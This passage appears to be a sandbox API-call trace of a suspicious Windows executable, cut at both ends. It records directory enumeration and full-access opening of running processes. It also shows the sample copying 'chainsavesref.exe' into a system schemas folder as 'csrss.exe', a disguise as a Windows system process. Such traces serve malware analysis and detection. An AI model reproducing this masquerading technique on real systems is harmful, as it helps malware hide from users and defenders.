lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8068675c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8068675c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCN", cAlternateFileName="")) returned 1 [0118.213] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.213] FindClose (in: hFindFile=0x1a962260 | out: hFindFile=0x1a962260) returned 1 [0118.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0118.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0118.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0118.214] GetFullPathNameW (in: lpFileName="C:\\Windows\\schemas\\EAPMethods", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\schemas\\EAPMethods", lpFilePart=0x0) returned 0x1d [0118.214] FindFirstFileW (in: lpFileName="C:\\Windows\\schemas\\EAPMethods\\*" (normalized: "c:\\windows\\schemas\\eapmethods\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff241a54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff241a54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a962260 [0118.321] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff241a54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff241a54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.321] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62cb3131, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x62cb3131, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x62cb3131, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x11bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eaptlsconnectionpropertiesv1.xsd", cAlternateFileName="")) returned 1 [0118.321] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a426569, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0x8a426569, ftLastAccessTime.dwHighDateTime=0x1ca040e, ftLastWriteTime.dwLowDateTime=0x62cb3131, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="eaptlsconnectionpropertiesv2.xsd", cAlternateFileName="")) returned 1 [0118.321] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a426569, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0x8a426569, ftLastAccessTime.dwHighDateTime=0x1ca040e, ftLastWriteTime.dwLowDateTime=0x62cb3131, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x531, dwReserved0=0x0, dwReserved1=0x0, cFileName="eaptlsuserpropertiesv1.xsd", cAlternateFileName="")) returned 1 [0118.321] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633b1173, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x633b1173, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x633d72d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="mschapv2connectionpropertiesv1.xsd", cAlternateFileName="")) returned 1 [0118.322] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd36b9ae2, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xd36b9ae2, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x633d72d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x582, dwReserved0=0x0, dwReserved1=0x0, cFileName="mschapv2userpropertiesv1.xsd", cAlternateFileName="")) returned 1 [0118.322] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a44c6c6, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0x8a44c6c6, ftLastAccessTime.dwHighDateTime=0x1ca040e, ftLastWriteTime.dwLowDateTime=0x62cff3ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspeapconnectionpropertiesv1.xsd", cAlternateFileName="")) returned 1 [0118.322] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a44c6c6, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0x8a44c6c6, ftLastAccessTime.dwHighDateTime=0x1ca040e, ftLastWriteTime.dwLowDateTime=0x62cff3ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x49f, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspeapconnectionpropertiesv2.xsd", cAlternateFileName="")) returned 1 [0118.322] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a44c6c6, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0x8a44c6c6, ftLastAccessTime.dwHighDateTime=0x1ca040e, ftLastWriteTime.dwLowDateTime=0x62cff3ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspeapuserpropertiesv1.xsd", cAlternateFileName="")) returned 1 [0118.322] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a44c6c6, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0x8a44c6c6, ftLastAccessTime.dwHighDateTime=0x1ca040e, ftLastWriteTime.dwLowDateTime=0x62cff3ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspeapuserpropertiesv1.xsd", cAlternateFileName="")) returned 0 [0118.322] FindClose (in: hFindFile=0x1a962260 | out: hFindFile=0x1a962260) returned 1 [0118.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0118.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0118.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\schemas\\EAPMethods\\csrss.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\schemas\\EAPMethods\\csrss.exe", lpFilePart=0x0) returned 0x27 [0118.470] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0118.470] GetFullPathNameW (in: lpFileName="C:\\Windows\\schemas\\EAPMethods\\csrss.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\schemas\\EAPMethods\\csrss.exe", lpFilePart=0x0) returned 0x27 [0118.470] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Windows\\schemas\\EAPMethods\\csrss.exe" (normalized: "c:\\windows\\schemas\\eapmethods\\csrss.exe"), bFailIfExists=0) returned 0 [0118.493] CreateFileW (lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0118.496] CloseHandle (hObject=0x2d4) returned 1 [0118.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e858) returned 1 [0118.496] GetFileAttributesExW (in: lpFileName="C:\\Windows\\schemas\\EAPMethods\\csrss.exe" (normalized: "c:\\windows\\schemas\\eapmethods\\csrss.exe"), fInfoLevelId=0x0, lpFileInformation=0x1bb7eb80 | out: lpFileInformation=0x1bb7eb80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0118.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e808) returned 1 [0118.515] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x340) returned 0x2d4 [0118.515] GetExitCodeProcess (in: hProcess=0x2d4, lpExitCode=0x273b3cc | out: lpExitCode=0x273b3cc*=0x103) returned 1 [0118.515] CoTaskMemAlloc (cb=0x404) returned 0x1a9a77d0 [0118.515] QueryFullProcessImageNameA (in: hProcess=0x2d4, dwFlags=0x0, lpExeName=0x1a9a77d0, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Program Files (x86)\\Windows Sidebar\\outlook.exe", lpdwSize=0x1bb7ed88) returned 1 [0118.516] CoTaskMemFree (pv=0x1a9a77d0) [0118.519] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xbec) returned 0x22c [0118.519] GetExitCodeProcess (in: hProcess=0x22c, lpExitCode=0x2739514 | out: lpExitCode=0x2739514*=0x103) returned 1 [0118.519] CoTaskMemAlloc (cb=0x404) returned 0x1a9a77d0 [0118.519] QueryFullProcessImageNameA (in: hProcess=0x22c, dwFlags=0x0, lpExeName=0x1a9a77d0, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Program Files (x86)\\Uninstall Information\\gmailnotifierpro.exe", lpdwSize=0x1bb7ed88) returned 1 [0118.520] CoTaskMemFree (pv=0x1a9a77d0) [0118.523] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xaf0) returned 0x2d8 [0118.523] GetExitCodeProcess (in: hProcess=0x2d8, lpExitCode=0x273b4e4 | out: lpExitCode=0x273b4e4*=0x103) returned 1 [0118.523] CoTaskMemAlloc (cb=0x404) returned 0x1a9a77d0 [0118.523] QueryFullProcessImageNameA (in: hProcess=0x2d8, dwFlags=0x0, lpExeName=0x1a9a77d0, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Program Files (x86)\\MSBuild\\creditservice.exe", lpdwSize=0x1bb7ed88) returned 1 [0118.524] CoTaskMemFree (pv=0x1a9a77d0) [0118.527] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xd0) returned 0x2dc [0118.527] GetExitCodeProcess (in: hProcess=0x2dc, lpExitCode=0x273c564 | out: lpExitCode=0x273c564*=0x103) returned 1 [0118.527] CoTaskMemAlloc (cb=0x404) returned 0x1a9a77d0 [0118.527] QueryFullProcessImageNameA (in: hProcess=0x2dc, dwFlags=0x0, lpExeName=0x1a9a77d0, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Windows\\System32\\wbem\\WMIADAP.exe", lpdwSize=0x1bb7ed88) returned 1 [0118.528] CoTaskMemFree (pv=0x1a9a77d0) [0118.530] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x77c) returned 0x2e0 [0118.531] GetExitCodeProcess (in: hProcess=0x2e0, lpExitCode=0x2737abc | out: lpExitCode=0x2737abc*=0x103) returned 1 [0118.531] CoTaskMemAlloc (cb=0x404) returned 0x1a9a77d0 [0118.531] QueryFullProcessImageNameA (in: hProcess=0x2e0, dwFlags=0x0, lpExeName=0x1a9a77d0, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Windows\\explorer.exe", lpdwSize=0x1bb7ed88) returned 1 [0118.531] CoTaskMemFree (pv=0x1a9a77d0) [0118.534] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x10c) returned 0x2e4 [0118.534] GetExitCodeProcess (in: hProcess=0x2e4, lpExitCode=0x273a234 | out: lpExitCode=0x273a234*=0x103) returned 1 [0118.534] CoTaskMemAlloc (cb=0x404) returned 0x1a9a77d0 [0118.534] QueryFullProcessImageNameA (in: hProcess=0x2e4, dwFlags=0x0, lpExeName=0x1a9a77d0, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Windows\\System32\\smss.exe", lpdwSize=0x1bb7ed88) returned 1 [0118.535] CoTaskMemFree (pv=0x1a9a77d0) [0118.538] CoTaskMemAlloc (cb=0x20c) returned 0x1a9882a0 [0118.538] GetSystemDirectoryW (in: lpBuffer=0x1a9882a0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0118.538] CoTaskMemFree (pv=0x1a9882a0) [0118.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0118.539] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0118.539] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a961c60 [0118.540] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0118.540] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0118.540] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0118.540] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0xd44f060, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0xd44f060, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0118.540] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0118.540] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0118.540] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0118.540] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0118.540] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0118.540] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0118.540] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0118.541] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0118.541] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0118.541] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0118.541] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0118.541] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0118.541] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.541] FindClose (in: hFindFile=0x1a961c60 | out: hFindFile=0x1a961c60) returned 1 [0118.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0118.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0118.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0118.541] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon", lpFilePart=0x0) returned 0x1b [0118.542] FindFirstFileW (in: lpFileName="C:\\comproviderRuntimecommon\\*" (normalized: "c:\\comproviderruntimecommon\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0xd44f060, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0xd44f060, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a961c60 [0118.542] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0xd44f060, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0xd44f060, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.542] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: 